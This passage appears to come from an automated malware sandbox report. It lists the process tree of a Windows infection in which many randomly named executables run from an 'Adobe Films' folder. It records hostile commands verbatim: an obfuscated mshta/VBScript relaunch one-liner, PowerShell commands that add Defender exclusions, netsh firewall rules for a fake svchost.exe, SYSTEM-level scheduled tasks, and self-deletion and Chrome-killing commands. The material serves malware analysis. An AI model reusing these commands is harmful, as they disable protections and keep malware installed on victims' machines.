                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\PqAsq0aMLXF7cYT9yFiUaTUN.exe"
                                                                                                                                        8⤵
                                                                                                                                          PID:10008
                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\ct0MNeilugSvpXTswFQsczzy.exe
                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\ct0MNeilugSvpXTswFQsczzy.exe"
                                                                                                                                          8⤵
                                                                                                                                            PID:6192
                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\XvSyLdYBapHdxjPtr8hpzVWV.exe
                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\XvSyLdYBapHdxjPtr8hpzVWV.exe"
                                                                                                                                            8⤵
                                                                                                                                              PID:5136
                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\XvSyLdYBapHdxjPtr8hpzVWV.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\XvSyLdYBapHdxjPtr8hpzVWV.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                9⤵
                                                                                                                                                  PID:6292
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\XvSyLdYBapHdxjPtr8hpzVWV.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\XvSyLdYBapHdxjPtr8hpzVWV.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                    10⤵
                                                                                                                                                      PID:10344
                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                        taskkill -f -iM "XvSyLdYBapHdxjPtr8hpzVWV.exe"
                                                                                                                                                        11⤵
                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                        PID:6348
                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\L590JQSCbaIX5acbHMFgWcTo.exe
                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\L590JQSCbaIX5acbHMFgWcTo.exe"
                                                                                                                                                  8⤵
                                                                                                                                                    PID:7388
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-PHGI7.tmp\L590JQSCbaIX5acbHMFgWcTo.tmp
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-PHGI7.tmp\L590JQSCbaIX5acbHMFgWcTo.tmp" /SL5="$106E8,506127,422400,C:\Users\Admin\Pictures\Adobe Films\L590JQSCbaIX5acbHMFgWcTo.exe"
                                                                                                                                                      9⤵
                                                                                                                                                        PID:6104
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-ATBN9.tmp\DYbALA.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-ATBN9.tmp\DYbALA.exe" /S /UID=2709
                                                                                                                                                          10⤵
                                                                                                                                                            PID:10648
                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\t1AYTKJIbvg8pn4Ro46PQp2B.exe
                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\t1AYTKJIbvg8pn4Ro46PQp2B.exe"
                                                                                                                                                        8⤵
                                                                                                                                                          PID:6424
                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                                                                                                            C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                                                                                                            9⤵
                                                                                                                                                              PID:10724
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                                                                                          7⤵
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:6768
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                                                                                          7⤵
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:5388
                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\tvng9J3f6Ha9Iw7mtgFGOm6h.exe
                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\tvng9J3f6Ha9Iw7mtgFGOm6h.exe"
                                                                                                                                                        6⤵
                                                                                                                                                          PID:2444
                                                                                                                                                          • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                                                                                                            "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                                                                                                                            7⤵
                                                                                                                                                              PID:5908
                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\pJa6fDF0kzkGEUZHEqeUmqO4.exe
                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\pJa6fDF0kzkGEUZHEqeUmqO4.exe"
                                                                                                                                                            6⤵
                                                                                                                                                              PID:5096
                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\UsD6AA7r6CCIXfI3aDm2GzYG.exe
                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\UsD6AA7r6CCIXfI3aDm2GzYG.exe"
                                                                                                                                                              6⤵
                                                                                                                                                                PID:4908
                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\HiiAnEtkscbBQSf79RLxKde2.exe
                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\HiiAnEtkscbBQSf79RLxKde2.exe"
                                                                                                                                                                6⤵
                                                                                                                                                                  PID:4356
                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\HiiAnEtkscbBQSf79RLxKde2.exe
                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\HiiAnEtkscbBQSf79RLxKde2.exe"
                                                                                                                                                                    7⤵
                                                                                                                                                                      PID:5788
                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\zlv4311qcinzA6xlR7K5iMME.exe
                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\zlv4311qcinzA6xlR7K5iMME.exe"
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:4568
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                        7⤵
                                                                                                                                                                          PID:8100
                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                            taskkill /f /im chrome.exe
                                                                                                                                                                            8⤵
                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                            PID:8520
                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\J0TmOkfe_lYnagUaxG5tfpIU.exe
                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\J0TmOkfe_lYnagUaxG5tfpIU.exe"
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:4092
                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe
                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe"
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:1364
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\37e437e5-fce5-4ce5-acac-2ac3be051cb3\AdvancedRun.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\37e437e5-fce5-4ce5-acac-2ac3be051cb3\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\37e437e5-fce5-4ce5-acac-2ac3be051cb3\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                                                                                              7⤵
                                                                                                                                                                                PID:6376
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\37e437e5-fce5-4ce5-acac-2ac3be051cb3\AdvancedRun.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\37e437e5-fce5-4ce5-acac-2ac3be051cb3\AdvancedRun.exe" /SpecialRun 4101d8 6376
                                                                                                                                                                                  8⤵
                                                                                                                                                                                    PID:7780
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\5dbf7aca-95d0-49f1-9e01-1ed8e1b2b6c8\AdvancedRun.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\5dbf7aca-95d0-49f1-9e01-1ed8e1b2b6c8\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\5dbf7aca-95d0-49f1-9e01-1ed8e1b2b6c8\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                                                                                                  7⤵
                                                                                                                                                                                    PID:5928
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\5dbf7aca-95d0-49f1-9e01-1ed8e1b2b6c8\AdvancedRun.exe
                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\5dbf7aca-95d0-49f1-9e01-1ed8e1b2b6c8\AdvancedRun.exe" /SpecialRun 4101d8 5928
                                                                                                                                                                                      8⤵
                                                                                                                                                                                        PID:7908
                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
                                                                                                                                                                                      7⤵
                                                                                                                                                                                        PID:8184
                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
                                                                                                                                                                                        7⤵
                                                                                                                                                                                          PID:1460
                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                                                                                                                                                          7⤵
                                                                                                                                                                                            PID:5560
                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                                                                                                                                                            7⤵
                                                                                                                                                                                              PID:7464
                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
                                                                                                                                                                                              7⤵
                                                                                                                                                                                                PID:7660
                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
                                                                                                                                                                                                7⤵
                                                                                                                                                                                                  PID:7556
                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                    PID:5700
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\f806d65d-bd3a-43ff-89d2-c8be8cc999d9\AdvancedRun.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\f806d65d-bd3a-43ff-89d2-c8be8cc999d9\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\f806d65d-bd3a-43ff-89d2-c8be8cc999d9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                        PID:9072
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\f806d65d-bd3a-43ff-89d2-c8be8cc999d9\AdvancedRun.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\f806d65d-bd3a-43ff-89d2-c8be8cc999d9\AdvancedRun.exe" /SpecialRun 4101d8 9072
                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                            PID:9108
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7114b15e-3905-43c0-93a5-0913aa9525c1\AdvancedRun.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7114b15e-3905-43c0-93a5-0913aa9525c1\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7114b15e-3905-43c0-93a5-0913aa9525c1\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                            PID:9184
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7114b15e-3905-43c0-93a5-0913aa9525c1\AdvancedRun.exe
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7114b15e-3905-43c0-93a5-0913aa9525c1\AdvancedRun.exe" /SpecialRun 4101d8 9184
                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                PID:6160
                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                PID:9844
                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                  PID:9884
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                    PID:10012
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                      PID:10184
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                        PID:6412
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                          PID:9864
                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                            PID:4780
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                            PID:7896
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                              PID:8084
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                PID:7688
                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe
                                                                                                                                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe"
                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                  PID:7336
                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
                                                                                                                                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"
                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                    PID:9124
                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe
                                                                                                                                                                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"
                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                      PID:5348
                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
                                                                                                                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                        PID:6904
                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                          PID:5936
                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\rdhqmWlyYpdRdzxhgCjY5AyD.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\rdhqmWlyYpdRdzxhgCjY5AyD.exe"
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                          PID:1212
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\rdhqmWlyYpdRdzxhgCjY5AyD.exe" & exit
                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                              PID:9052
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                timeout /t 5
                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                PID:8752
                                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\CKN3kEUOjmw0MDZZHe9DORb0.exe
                                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\CKN3kEUOjmw0MDZZHe9DORb0.exe"
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                              PID:5076
                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                  PID:5956
                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                    PID:6008
                                                                                                                                                                                                                                                  • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                                    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                      PID:5308
                                                                                                                                                                                                                                                    • C:\Windows\System\svchost.exe
                                                                                                                                                                                                                                                      "C:\Windows\System\svchost.exe" formal
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                        PID:6444
                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                            PID:7564
                                                                                                                                                                                                                                                          • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                              PID:6396
                                                                                                                                                                                                                                                            • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                PID:5852
                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                  PID:7508
                                                                                                                                                                                                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                                                                                                schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                                                PID:5852
                                                                                                                                                                                                                                                              • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                  PID:6124
                                                                                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\51mCVJxmMEnPjCNL_mvyzO6v.exe
                                                                                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\51mCVJxmMEnPjCNL_mvyzO6v.exe"
                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                  PID:2280
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\51mCVJxmMEnPjCNL_mvyzO6v.exe" & exit
                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                      PID:6588
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                        timeout /t 5
                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                        PID:9900
                                                                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\KXK2e8uf4S8rnm4oZ_KKlS4Y.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\KXK2e8uf4S8rnm4oZ_KKlS4Y.exe"
                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                      PID:4612
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 312
                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                        PID:5388
                                                                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\RJzZPQQcrhKmGfmDbWJo1qLU.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\RJzZPQQcrhKmGfmDbWJo1qLU.exe"
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                        PID:4652
                                                                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\RJzZPQQcrhKmGfmDbWJo1qLU.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\RJzZPQQcrhKmGfmDbWJo1qLU.exe"
                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                            PID:3636
                                                                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\ZT24xOVNh8bfXq_27hMF8ZNr.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\ZT24xOVNh8bfXq_27hMF8ZNr.exe"
                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                            PID:2788
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /im "ZT24xOVNh8bfXq_27hMF8ZNr.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\ZT24xOVNh8bfXq_27hMF8ZNr.exe" & exit
                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                PID:9120
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                  taskkill /im "ZT24xOVNh8bfXq_27hMF8ZNr.exe" /f
                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                  PID:4400
                                                                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\7bBoykoMqFSIZwqF6bAeyBRP.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\7bBoykoMqFSIZwqF6bAeyBRP.exe"
                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                PID:2060
                                                                                                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\Y6EumvPb2FNj3n2OKsEBBrRL.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\Y6EumvPb2FNj3n2OKsEBBrRL.exe"
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                  PID:5084
                                                                                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\DJ08Xfxr97rjelKWBioursF3.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\DJ08Xfxr97rjelKWBioursF3.exe"
                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                    PID:4960
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\i4Oe_wpb14miDIsMF6m98kLW.exe
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\i4Oe_wpb14miDIsMF6m98kLW.exe"
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                      PID:4936
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\7QW2UErb_yjwvtsrM8E2OkjV.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\7QW2UErb_yjwvtsrM8E2OkjV.exe"
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                        PID:4840
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
